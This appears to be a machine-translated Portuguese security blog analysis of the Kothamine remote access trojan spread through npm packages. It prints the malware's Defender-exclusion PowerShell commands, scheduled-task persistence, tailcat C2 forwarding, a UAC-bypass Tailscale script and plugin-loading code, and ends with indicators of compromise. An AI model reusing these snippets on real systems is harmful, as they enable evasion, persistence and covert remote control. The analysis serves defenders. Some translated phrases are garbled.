Descobrimos um Trojan de acesso remoto (RAT) não documentado chamado Kothamine Agent . Ele suporta mais de 30 comandos e dá aos atacantes o controle de um sistema infectado. Windows computador: eles podem executar comandos, ler e modificar arquivos e adicionar novas funcionalidades. Algumas versões também podem roubar dados do navegador e gravar através da câmera e do microfone.
Descobrimos que o Kothamine está associado a pacotes npm maliciosos, o que pode colocar em risco usuários e desenvolvedores que instalam esses pacotes. Em versões recentes, o malware usa o tailcat , uma ferramenta de código aberto da Tailscale, para receber comandos por meio de uma conexão criptografada. Isso dificulta a inspeção de suas comunicações e impede que os defensores bloqueiem um domínio de comando e controle (C2) convencional.
Com base nos uploads do VirusTotal e nos commits do GitHub, o Kothamine parece estar em desenvolvimento ou distribuição desde pelo menos julho. Versões anteriores utilizavam o Tailscale. VPN em vez do tailcat. Dependendo da versão, o malware inclui as ferramentas de rede ou as baixa de fontes como o GitHub.
Como se manter seguro
Antes de instalar um pacote npm desconhecido, verifique seu repositório, mantenedores, dependências e versões recentes. Procure por relatos de atividades maliciosas e dê preferência a pacotes com histórico consolidado e manutenção regular.
- Verifique o nome com atenção. Certifique-se de não estar baixando um pacote falso com um nome semelhante.
- Verifique o desenvolvedor ou a organização e certifique-se de que a editora pareça legítima. Veja, por exemplo, se ela possui um site ou um repositório no GitHub.
- Leia algumas avaliações, problemas e relatos. Pesquise o nome do pacote no Google e verifique se há relatos de possível malware detectado.
- Veja como ele é popular. Um pacote com muitos downloads e usuários geralmente é mais fácil de verificar do que um pacote totalmente novo, sem quase nenhum histórico.
Análise técnica
Kothamine e os pacotes npm maliciosos
O Kothamine é escrito em C e C++. Na maioria das amostras que analisamos, ele consiste em um injetor e uma DLL contendo o agente. O agente suporta mais de 30 comandos, permitindo ao operador controlar o sistema infectado e carregar DLLs adicionais para ampliar suas capacidades.

O agente Kothamine sofreu algumas alterações ao longo do tempo. As versões anteriores encontradas no VirusTotal utilizavam o Tailscale. VPN em vez de tailcat, e as strings não estavam criptografadas. Alguns recursos, incluindo uma forma de burlar o Controle de Conta de Usuário (UAC) e comandos de roubo de dados, foram detectados apenas em determinadas versões.
Em algumas versões, o Kothamine baixava os arquivos do Tailscale do site oficial do Tailscale ou de um repositório do GitHub, em vez de incluí-los no agente.
O mesmo repositório do GitHub é citado em um conselho sobre um pacote npm malicioso chamado dotnet-runtime-baseO pacote de download npm-sc-legit.exe desse repositório. No momento da redação deste texto, outros dois pacotes publicados pelo mesmo desenvolvedor haviam sido removidos.

Os autores dessas campanhas cometeram um erro e publicaram instruções para a compilação. kothamine-stub-cpp em um dos pacotes. O guia também aborda o carregamento de assemblies .NET, algo que não observamos nos exemplos que analisamos.

O npm-sc-legit.exe O executável é uma versão compilada do Kothamine que também contém comandos para roubar dados. Não encontramos um painel ou construtor para o Kothamine, mas os recursos presentes em diferentes versões sugerem que os operadores podem habilitar funções e comandos específicos conforme necessário.

A análise a seguir se concentra em uma amostra recente do Agente Kothamine que usa o tailcat para comunicação C2.
Como funciona o agente Kothamine
Nas versões analisadas, um executável internamente denominado Kothamine Injector injeta a DLL do Kothamine Agent, normalmente em explorer.exeTambém fazemos referência a versões anteriores para mostrar como o agente mudou.
1. Injetor de Kothamine
O injetor de kotamina realiza as seguintes operações:
- Adiciona Windows Exclusões do Defender usando o PowerShell
- Copia-se a si mesma para
%ROAMING%\MicrosoftEdgeUpdateCore.exe - Extrai a DLL do agente para
%ROAMING%\MicrosoftEdgeUpdateCore.dll - Cria
up.ps1em%TEMP%para persistência - Injeta a DLL do agente em
explorer.exeusandoOpenProcess,VirtualAllocEx,WriteProcessMemory,CreateRemoteThreadeLoadLibraryA

explorer.exe O up.ps1 O script cria uma tarefa agendada para obter persistência usando o executável Injector:
$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force
2. Agente Kothamine
Agente iniciante
O agente cria um mutex chamado Local\KothamineAgentInstance e inicia seu fio condutor principal.
Em seguida, executa comandos do PowerShell para adicionar o executável e a DLL ao Windows Lista de exclusão do Defender:
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue;
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"
Algumas das versões detectadas não possuem strings criptografadas. Outras, no entanto, possuem strings criptografadas usando uma simples operação XOR e uma chave XOR dedicada para cada string.


Comunicação C2 usando tailcat
A característica distintiva do Kothamine não é a complexidade técnica, a funcionalidade do agente ou a ofuscação, mas sim o uso do Tailcat e do Tailscale. VPN para receber comandos a serem executados. Isso proporciona ao agente um canal de comunicação resiliente e criptografado.
Tailcat é um projeto de código aberto recente, lançado pela equipe da Tailscale. O Tailcat utiliza o plano de dados da Tailscale (WireGuard, NAT traversal e DERP), mas sem o seu plano de controle. De acordo com a documentação oficial, isso significa que o Tailcat não possui endereços IP, contas, administradores, usuários, controles administrativos ou governança. Essas características, portanto, o tornam uma ferramenta atraente para uso em malware.
Ao contrário da escama da cauda VPN O Tailcat não exige conta nem registro de dispositivo. Seus desenvolvedores o projetaram para conexões de curta duração.
Como não existem contas, o acesso é baseado na posse de um endereço tailcat e das chaves públicas usadas para identificar os dispositivos de conexão. Isso não torna a conexão completamente anônima: os servidores de retransmissão hospedados podem reter registros de metadados.
O tc-address O parâmetro `forward` permite que o cliente obtenha as informações necessárias para rotear corretamente a solicitação. Além disso, o `tailcat` não exige acesso privilegiado à máquina, pois utiliza a ferramenta de linha de comando (CLI) e bibliotecas do espaço do usuário.
Nas versões recentes do Kothamine, o agente extrai o tailcat de seus recursos e o salva como %ROAMING%\TailscalePortable\tailcat.exe.

O executável tailcat é iniciado com o CreateProcessA função e os seguintes parâmetros (internamente denominados como spawn_tailcat_forward fase):
"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward tc…. 18080:4444
Este comando torna as portas do servidor tailcat disponíveis como portas TCP locais padrão (18080 (neste caso) e as solicitações são encaminhadas para a porta 4444 do nó do operador. Kothamine usa funções de socket para se conectar a 127.0.0.1:18080, onde o gato-da-cauda está ouvindo.
Se a string de ID do agente não estiver vazia, o agente enviará uma solicitação de perfil criptografada contendo as seguintes informações (run_c2_loop fase):
{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"}
Em seguida, o agente entra em um loop infinito para receber comandos para executar do C2 (run_c2_loop fase). O agente aguarda novos comandos para executar usando o select A função socket envia periodicamente mensagens KEEP-ALIVE caso nenhum comando seja recebido.
As mensagens trocadas com o C2 são criptografadas e descriptografadas usando AES-GCM (aes_encrypt fase).
A chave AES de 32 bytes é decodificada em base64 a partir da string (c2_key fase):
mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU=
Comandos suportados
Nesta versão, o agente Kothamine suporta 30 comandos. relacionado a:
- Interação com processos
- Interação com arquivos e diretórios
- Executar comandos do shell
- Ampliar a capacidade do agente com base nas DLLs recebidas.
| Nome do comando | Descrição |
sysinfo/systeminfo, curpid | Retorna informações do sistema, como PID, caminho atual, nome do host e sistema operacional (definido no código). |
tasklist, kill | Retorna os processos obtidos através de “ tasklist /FO CSV /NH ”. Encerra o processo especificado pelo PID usando “ taskkill /F /PID ”. |
ping | Teste de funcionamento: “Pong” retorna ao C2. |
ipconfig | Executa o comando “ ipconfig /all ” e retorna o resultado. |
exec, shell_exec | Executa comandos do shell com _popen() e envia a saída de volta. |
mkdir, rmdir, cp, mv, cd, ls, dir, pwd | Interage com arquivos e pastas no sistema. |
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download | Lê, escreve e apaga arquivos arbitrários. |
load_feature | Escreve e carrega uma DLL codificada em base64 recebida. A DLL é carregada usando LoadLibraryA e o método “ GetFeatureApi ”, resolvido via GetProcAddress , é executado. Salva os ponteiros de função necessários para executar a função. |
exec_feature, features, list_features, unload_feature | Ele interage com os recursos carregados para visualizá-los, executá-los ou removê-los. |
Dado que os demais comandos são comuns aos outros agentes, o foco da análise está no sistema de "plugins" que permite ao operador receber DLLs e ampliar a funcionalidade do agente.
Sistema de plugins
Para carregar uma nova DLL, o operador usa o comando:
load_feature <name> <B64EncodedDLL>
Em linhas gerais, o processo funciona da seguinte maneira. O código e os nomes das variáveis abaixo foram reconstruídos a partir dos registros de uso e saída.
- Primeiro, o agente verifica se a funcionalidade já foi carregada e, em caso afirmativo, a descarrega:
if (g_features.find(name) != g_features.end()) {
send_text("[!] " + name + " already loaded, unloading first");
unload_feature(name);
}
- Ele tenta criar a DLL recebida em um local obtido através de
GetTempPathouSHGetFolderPathAou no caminho codificado.C:\Windows\TempEle grava a DLL decodificada e a carrega comLoadLibraryA.
- Resolve e executa o
GetFeatureApimétodo da DLL carregada:
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
FreeLibrary(hMod);
return 0;
}
api = pGFA();
Não encontramos uma DLL que nos permitisse analisar completamente a estrutura retornada por GetFeatureApiNo entanto, ao analisar o código e as strings, identificamos os seguintes campos:
/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);
struct FeatureApi {
char *version;
char *name;
void (*init)(FeatureSendCb send);
void (*exec)(char *args, FeatureSendCb send);
void (*cleanup)(void);
};
Os ponteiros para a DLL carregada e a estrutura retornada são salvos no ambiente global. variável chamada internamente g_features, utilizando esta estrutura:
struct LoadedFeature {
void *hModule; /* Loaded DLL */
struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};
- Executa o
initfunção contida na estrutura retornada, passando a ela a função usada para comunicação C2:
send_text("[!] calling init...");
api->init(*feature_send_callback);
send_text("[!] init done");
Após o carregamento da funcionalidade, o operador pode executá-la usando o comando:
exec_feature <functionName> [args]

exec funçãoDiferentes builds de Kothamine: Tailscale VPN , Desvio do UAC e comandos de roubo
Como mencionado anteriormente, detectamos versões do Kothamine com diferentes capacidades.
As versões anteriores utilizavam a escala de cauda. VPN antes do lançamento do Tailcat. Eles baixaram e executaram o instalador do site da Tailscale com o /quiet e /silent flags, ou baixaram os arquivos necessários diretamente do GitHub. Isso incluía tailscaled.exe, tailscale.exe, tailscale-ipn.exee wintun.dll.

Algumas versões ignoram o Controle de Conta de Usuário (UAC) usando fodhelper.exe para executar elevated.ps1No exemplo abaixo, o script do PowerShell inicia um Tailscale. VPN conexão:
$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
Start-Sleep 2
try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
$ip=(&$ts ip 2>&1 | Out-String)
if ($ip -match '100\.') { $connected=$true; break }
}
O agente então se conecta à porta. 4444 em um endereço IP de rede Tailscale (100.x.x.x) e começa a receber e executar comandos.

fodhelper.exeFinalmente, como mencionamos anteriormente, diferentes versões do Kothamine suportam outros comandos. Por exemplo, a versão enviada para o GitHub inclui comandos adicionais, como: getdiscord, getsessions, screenshot, screensharee cameraIsso permite que os operadores:
- Roubar cookies de vários navegadores
- Roube arquivos JSON relacionados a jogos, incluindo arquivos associados ao Steam e ao Minecraft.
- Faça capturas de tela e grave vídeos usando a câmera e o microfone.
- Acessar o conteúdo da área de transferência
Indicadores de comprometimento
hashes SHA-256
ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0Injetor de Kothamine analisado no blog74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cAgente Kothamine analisado no blog
URLs
https://github[.]com/cphc811-ui/Repositório usado para baixar executáveis e DLLs associados ao Tailscale. VPN
Agradecimentos
Aviso da Mondoo sobre o pacote npm analisado .
Navegue como se ninguém estivesse olhando.
VPN Malwarebytes Privacy VPN sua conexão e nunca registra o que você faz, para que a próxima notícia que você ler não pareça algo pessoal.Experimente gratuitamente →




